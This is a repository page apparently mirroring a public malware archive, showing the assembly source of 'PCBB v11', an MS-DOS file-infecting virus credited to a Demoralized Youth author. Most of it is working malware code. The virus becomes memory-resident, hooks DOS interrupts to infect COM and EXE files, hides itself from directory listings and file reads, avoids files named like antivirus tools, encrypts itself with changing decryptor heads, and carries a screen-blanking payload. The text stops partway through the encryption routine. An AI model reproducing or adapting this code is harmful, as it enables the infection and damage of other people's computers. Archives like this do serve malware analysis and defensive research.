ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-29 22:45:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
38850a094f
MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.pcbb.asm

1428 lines
41 KiB
NASM
Raw Normal View History

Add files via upload
2021-01-12 23:55:26 +00:00
sec equ 28
ideal equ 3*1024 ;every file will increase by this ammount of bytes
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>۲<EFBFBD><DBB2>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۲<EFBFBD><DBB2>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
Ver equ 11
;
cpt1 equ $ ;Checkpoint 1
enc_start equ $
org 100h
call dummyjmp1
marker db 0 ;com / exe marker (0=com, 1=exe)
dummyjmp1: pop bx
cmp byte [bx],0
je is_a_com
mov ax,es
add ax,0
exe_cpt1 equ $-2
push ax
mov ax,0
exe_cpt2 equ $-2
push ax
push es
pop ds
jmp cont_install
is_a_com:
push cs
mov ax,100h
push ax
cont_install:
push ds
push cs
pop ds
call one_three
mov ax,0C001h
mov bx,ax
add ax,07DFFh
db 0EBh,01,0EBh
int 21h
db 0E9h,1,0,0B8h
cmp bx,0D00Dh
je startup_fail
call one_three
; cmp sp,-10h
; jb startup_fail
mov ax,es
dec ax
mov es,ax
cmp byte es:[0000h],'Z'
jne startup_fail
mov ax,es:[0003h]
sub ax,tsr_para
jc startup_fail
mov es:[0003h],ax
sub word ptr es:[0012h],tsr_para
mov es,es:[0012h]
call one_three
call $+3
cpt3 equ $ ;Checkpoint 3
pop si
sub si,(cpt3-cpt1)
mov bx,si
add si,(cpt4-cpt1)
push cs
push si
mov si,bx
mov cx,offset total-100h
mov di,100h
push es
rep movsb
mov di,offset init
push di
retf
cpt4 equ $ ;Checkpoint 4
startup_fail:
call $+3
dummycpt1 equ $-offset marker
sub ax,ax
xor bx,bx
sub cx,cx
xor dx,dx
xor di,di
sub bp,bp
pop si
pop ds
push ds
pop es
cmp byte cs:[si-dummycpt1],1
je file_is_exe
mov word [100h],20CDh
rpl1 equ $-2
mov byte [102h],90h
rpl2 equ $-1
file_is_exe:
sub si,si
retf
cpt2 equ $ ;Checkpoint 2
;****************************************************************************
;* Data Area *
;****************************************************************************
;sft equ 005Ch ;3Ah
ofs_scan_crc equ 0050h ;+3
ofs_chk_ver equ 0053h ;+1 version number
ofs_chk_size equ 0054h ;+2 version size
ofs_chk_sig equ 0056h ;+4 signature
header equ 005Ah
ofs_first_3 equ 005Ah ;+3 three first bytes in COM
ofs_time equ 008Dh ;+2
ofs_date equ 008Fh ;+2
ofs_attr equ 0091h ;2
sft_attr equ 04h ;(byte)
sft_time equ 0Dh ;(word)
sft_date equ 0Fh ;(word)
sft_size equ 11h ;(dword)
; ;CRC signature added by "SCAN /AV"
;scan_sig db 0f0h,0fdh,0c5h,0aah,0ffh,0f0h
set_sgm: push cs
push ds
f_size dw 0
bb_stat db 0
cntr dw 0
r_cntr dw 0,0
;;; DISK S. DATA ;;;
x_first3 db ' '
x_version db 0
x_size dw 0
x_sig db ' '
stat db 0
stat2 db 0
handle dw 0
_handle dw 0
;_dx dw 0
;_ds dw 0
_bytes dw 0
val_len dw 0,0
pos dw 0,0
pos2 dw 0,0
append dw 0
stealth1st dw 0
;;;DISK S DATA ENDS;;;
;db 'Only The Good Die Young'
jmp_to dw 0
push_all:
pop cs:[jmp_to]
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
jmp cs:[jmp_to]
pop_all:
pop cs:[jmp_to]
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp cs:[jmp_to]
handle_dir:
popf
call int21
pushf
jnc back_handle_dir
; cmp ax,0
; jne back_handle_dir
call stealth_dir_handle
sti
back_handle_dir:
popf
iret
fcb_dir:
popf
call int21
pushf
cmp al,00h
jne back_fcb_dir
call stealth_dir_fcb
sti
back_fcb_dir:
popf
iret
;****************************************************************************
;* Interupt 24 handler *
;****************************************************************************
ni24: mov al,3
iret
;****************************************************************************
;* Call OLD Interrupt 21 Handler
;****************************************************************************
int21:
pushf
call dword ptr cs:org21
ret
;****************************************************************************
;* Interupt 21 handler *
;****************************************************************************
ni21: pushf
;cmp ah,40h
;je __read
;jmp no_fcb12 ;no_bogus
cmp ah,11h
jne no_fcb11
jmp fcb_dir
no_fcb11:
cmp ah,12h
jne no_fcb12
jmp fcb_dir
no_fcb12:
jmp no_bogus
cmp ah,03Fh
jne no_bogus
__read: jmp _read
no_bogus:
cmp ah,03Eh
jne body
cmp bx,0C001h
jne body
mov bx,0D00Dh
popf
stc
retf 2
o24 dw 0,0
o13 dw 0,0
body:
call push_all
push ax
push ds
push dx
push es
push bx
xor ax,ax
mov es,ax
les bx,es:[24h*4]
mov cs:o24[0],bx
mov cs:o24[2],es
mov ax,2524h
mov dx,offset ni24
push cs
pop ds
call int21
pop bx
pop es
pop dx
pop ds
pop ax
cmp ah,3Eh ;close ?
jne vvv
cmp bx,5
jl exit
mov ah,45h ;duplicate handle
jmp doit
vvv: cmp ah,56h ;rename ?
je dsdx
cmp ah,43h ;chmod ?
je dsdx
cmp ah,3Dh
jne not_open
call pas_wp
not_open:
; cmp ah,3Dh ;open ?
; je dsdx
cmp ax,4B00h ;execute ?
jne exit
dsdx: mov ax,3D00h ;open the file
doit: call int21
jc exit
xchg ax,bx
jmp infect
exit:
call reset_i24
glemmdet:
call pop_all
alfa:
popf
db 0EAh ;JMP FAR xxxx:xxxx
org21 dw 0,0
avslussen: mov ah,4Ch
int 21h
one_three:
ret
pushf
push ax
push ds
push dx
push cs
pop ds
call $+3
pop dx
sub dx,($-1)-offset avslussen
push cs
pop ds
mov ax,2501h
int 21h
inc al
inc al
int 21h
pop dx
pop ds
pop ax
popf
ret
db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway'
;****************************************************************************
;* Try to stealth a HANDLE READ (3Fh)
;****************************************************************************
_read:
cmp cs:stat,1
je alfa
mov cs:stat,1
cmp bx,5
jl alfa
jcxz alfa
mov cs:stat2,0
call read
cmp cs:stat2,0
je back2
popf
pushf
call dword ptr cs:org21
jc back3
pushf
call push_all
push ds
pop es
push cs
pop ds
mov bx,pos[0]
mov cx,stealth1st[0]
mov di,dx
add di,bx
mov si,offset header ;x_first3
add si,bx
cld
first_b2:
movsb
dec cx
jcxz first_b1
inc bx
cmp bx,24
jl first_b2
first_b1:
call pop_all
popf
back3:
mov cs:stat,0
mov cs:stat2,0
iret
back2:
mov cs:stat,0
mov cs:stat2,0
jmp alfa
;****************************************************************************
;* Close the file
;****************************************************************************
close:
push cx
push dx
mov ax,5701h
mov cx,word cs:[ofs_time]
mov dx,word cs:[ofs_date]
call int21
; mov al,byte cs:[ofs_attr]
; mov byte [di+4],al
; mov ax,4301h
; mov cx,word cs:[ofs_attr]
; call int21
pop dx
pop cx
mov ah,3Eh
call int21
ret
;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before '
;db 'I wake, I pray the lord my soul to take'
infect: cld
mov cs:handle,bx
mov ax,5700h
int 21h
mov word cs:[ofs_time],cx
mov word cs:[ofs_date],dx
;start NOP'ing here...
; push es
; push bx
;
; mov ax,3513h
; int 21h
;
; mov cs:o13[0],bx
; mov cs:o13[2],es
;
; mov ah,13h
; int 2Fh
; push es
; push bx
; int 2Fh
; pop dx
; pop ds
; mov ax,2513h
; int 21h
;
; pop bx
; pop es
;
;stop NOP'ing here...
mov ax,1220h ;get file-table entry
push bx
push ax
int 2Fh
mov bl,es:[di]
pop ax
sub al,0Ah
int 2Fh
pop bx
push es
pop ds
push [di+2] ;save attr & open-mode
push [di+4]
mov al,[di+4]
mov byte cs:[ofs_attr],al
cmp word [di+sft_size+2],0
jne close1v
mov ax,word [di+sft_size]
cmp ah,0F0h
ja close1v
cmp ah,0
jl close1v
mov cs:f_size,ax
cmp word ptr [di+28h],'XE'
jne not_exe
cmp word ptr [di+2Ah],'E'
je check_name
not_exe: cmp word ptr [di+28h],'OC'
jne close1v ;jne
cmp byte ptr [di+2Ah],'M'
check: je check_name
close1v: jmp close1
check_name: cmp byte ptr [di+20h],'V' ;name is V*.* ?
je close1v
cmp byte ptr [di+20h],'F' ;name is F*.* ?
je close1v
mov cx,7 ;name is *SC*.* ?
mov ax,'CS'
push di
add di,21h
cld
SCloop: dec di
scasw
loopnz SCloop
pop di
je close1v
mov byte ptr [di+2],2 ;open for read/write
mov byte ptr [di+4],0 ;clear attributes
cld
jmp read_info
_call1:
jc close2
; push [di+0Dh]
; push [di+0Fh]
jmp patch_it
_call0:
; pop [di+0Fh]
; pop [di+0Dh]
close2:
push es ;close after infection
pop ds
or byte ptr [di+6],40h ;no time-change
; pop [di+4]
; pop [di+2]
; push [di+2]
; push [di+4]
close1: call close ;normal close
or byte ptr [di+5],40h ;no EOF on next close
pop [di+4] ;restore attribute & open-mode
pop [di+2]
;start NOP
; lds dx,cs:o13[0]
; mov ax,2513h
; call int21
;stop NOP
jmp exit
read_info:
push ds
push ds ;(ds)
pop es
push cs
pop ds
mov ah,3Fh
mov cx,18h
mov dx,ofs_first_3
call int21
jc failed
cmp al,18h
jne failed
xchg cx,ax
shr cx,1
mov si,ofs_first_3
mov di,offset dummy
encr_l8b:
lodsw
xor ax,'IF'
xor ax,'HS'
xor ax,'W&'
xor ax,'AH'
xor ax,'EL'
mov [di],ax
inc di
inc di
loop encr_l8b
mov ax,4202h
mov cx,-1
mov dx,-10
call int21
jc failed
mov ah,3Fh
mov cx,10
mov dx,ofs_scan_crc
call int21
jc failed
cmp al,10
jne failed
mov ax,word ptr [ofs_first_3]
not ax
cmp word ptr [ofs_chk_sig],'CP' ;is word [EOF-4] = 'PC' ?
jne not_infected
cmp word ptr [ofs_chk_sig+2],'BB' ;is word [EOF-2] = 'BB' ?
jne not_infected
jmp failed
not_infected:
pop ds
clc
jmp _call1
failed:
pop ds
stc
jmp _call1
;db 13,10
;db "Whoe to you of earth and sea...",13,10
;db "For the devil sends the beast with wrath,",13,10
;db "Because he knows the time is short...",13,10
;db "The people who have understanding,",13,10
;db "Reckon the number of the beast,",13,10
;db "Because it is a secret number...",13,10
;db "It's number is six-hundred and sixty-six!",13,10,36
db 'When you are demoralized.... there is NO way out!',13,10,36
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
;<3B><><EFBFBD> Keyboard (Int 09h) Handler <20>޳
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
key_rout:
pushf
inc cs:r_cntr[0]
adc cs:r_cntr[2],0
inc cs:cntr
cmp cs:cntr,offset total
jl key_b1
mov cs:bb_stat,1
mov cs:cntr,0
key_b1:
cmp cs:bb_stat,0
je key_b2
push ax
push cx
push dx
push ds
xor ax,ax
mov ds,ax
mov al,byte ptr [417h]
and al,15
cmp al,15
jne key_b3
mov cs:bb_stat,0
mov dx,3DAh
in al,dx
mov dx,3BAh
in al,dx
mov dx,3C0h
mov al,20h
out dx,al
key_b3:
pop ds
pop dx
pop cx
pop ax
key_b2:
popf
db 0EAh
old_key dw 0,0 ;old KBD vector
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
;<3B><><EFBFBD> Timer Tick (Int 1Ch) Handler <20>޳
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
tmr_rout:
pushf
cmp cs:bb_stat,0
je tmr_b1
push ax
push dx
mov dx,3DAh
in al,dx
mov dx,3BAh
in al,dx
mov dx,3C0h
mov al,0
out dx,al ;0 = off, 32 = on
pop dx
pop ax
tmr_b1:
popf
db 0EAh
oldh dw 0,0 ;Old TIMER-TICK vector
enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h
db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h
db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h
db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h
db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h
db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h
db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h
db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h
db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h
db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h
db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h
db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h
db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h
db 0C4h,088h,044h,0FFh,0E2h,0F8h
encr_h_ofs dw 0
encr_h_cx db 0
encr_h_xor db 0
encr_h_len db 0
repl0: db 0E8h,0,0
repl1: jmp near 0100h
patch_it:
push di
push si
push ds
push cs
pop ds
mov marker,0
cmp word [ofs_first_3],'MZ'
je exe_calc
cmp word [ofs_first_3],'ZM'
je exe_calc
mov ax,f_size
sub ax,3
mov repl0[1],ax
mov ax,word [ofs_first_3]
mov dl,byte [ofs_first_3+2]
mov [offset rpl1],ax
mov [offset rpl2],dl
jmp j_encrypt
oldl0 dw 0
oldl2 dw 0
exe_calc:
mov ax,4202h
xor cx,cx
xor dx,dx
call int21
mov oldl0,ax
mov oldl2,dx
push ax
push dx
mov ax,word [header+16h]
add ax,10h
mov word [exe_cpt1],ax
mov ax,word [header+14h]
mov word [exe_cpt2],ax
pop dx
pop ax
push ax
push dx
add ax,ideal
adc dx,0
; mov ax,oldl0
mov cx,512
div cx
inc ax
mov word [header+4],ax
mov word [header+2],dx
pop dx
pop ax
mov cx,16
div cx
sub ax,word [header+8]
mov word [header+16h],ax
mov word [header+14h],dx
mov marker,1
j_encrypt:
call encrypt ;encrypt & write
sahf
jc no_write_1st
mov ax,4200h
xor cx,cx
mov dx,cx
call int21
cmp marker,1
je exe_jump
mov ah,40h
mov cx,3
mov dx,offset repl0 ;write "CALL" head
call int21
jmp alldone
exe_jump: mov ah,40h
mov cx,18h
mov dx,ofs_first_3
int 21h
alldone:
and byte cs:[ofs_time],255-31
or byte cs:[ofs_time],sec
no_write_1st:
pop ds
pop si
pop di
sahf
jmp _call0; ret
;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$'
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
;<3B><><EFBFBD> Encrypt & Write <20>޳
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
encrypt:
push ds ;Save DS & ES
push es
push cs ;DS = ES = CS
push cs
pop ds
pop es
push bx ;Save BX
cld
call choose_encryption_head ;Choose encryption head
get_enc_key:
db 0E4h,40h
cmp al,0
je get_enc_key
mov bh,0 ;BH = 0
mov bl,encr_h_xor ;BL = internal XOR-ofs
mov byte [si+bx],al ;b [Si+Bx] = Encr. key
mov bl,encr_h_cx ;BL = internal CX-ofs
mov word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length
xchg di,ax ;DI = AX
pop bx
push bx
push ax
push di
cld
mov di,offset total
mov cx,2048
mov al,'<27>'
rep stosb
pop di
xor ch,ch
mov cl,encr_h_len
add cx,offset total-100h
xchg cx,ax
mov cx,ideal
sub cx,ax
mov ah,40h
mov append,cx
mov dx,offset total
mov word [total],1F0Eh
call int21
pop ax
mov ah,40h ;Write to handle
pop bx ;restore handle number
xor ch,ch ;CH = 0
mov cl,encr_h_len ;CL = Length of de-garbler
mov dx,si ;DX = Offset to de-garbler-head
call int21 ;Call DOS
lahf ;AH = FLAGS
cmp al,cl ;All bytes written?
je success ;yes, then degarbler written
sahf ;FLAGS = AH
jnc success ;If no error, then...
stc ;...set CY, and...
ret ;...return.
success:
xchg di,ax ;DI = AX
xchg al,ah ;Exchange AL with AH
mov si,100h ;SourceIndex = 100h
mov di,offset total ;DI = End-Of-Code
mov cx,offset total-11Fh ;Encryption length
encrypt_l:
lodsb ;al = [SI], si: +1
xor al,ah ;garble byte
stosb ;[DI] = al, di: +1
loop encrypt_l ;and again....
xor cx,cx
mov cl,encr_h_len
add cx,(offset total)-100h
add cx,append
mov size,cx
mov cx,31 ;the last bytes remain
rep movsb ;degarbeled
mov ah,40h ;Write to handle
mov cx,offset total-100h ;CX = Bytes
mov dx,offset total ;DX = Garbeled code
call int21 ;Call Dos
clc
lahf
cmp al,cl ;all bytes written?
je encr_b1
stc
lahf
encr_b1:
pop es ;restore ES & DS
pop ds
sahf
ret ;return
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
;<3B><><EFBFBD> Choose which encryption-head to use with this generation, and store <20>޳
;<3B><><EFBFBD> the pointer and the two internal offsets for later use. <20>޳
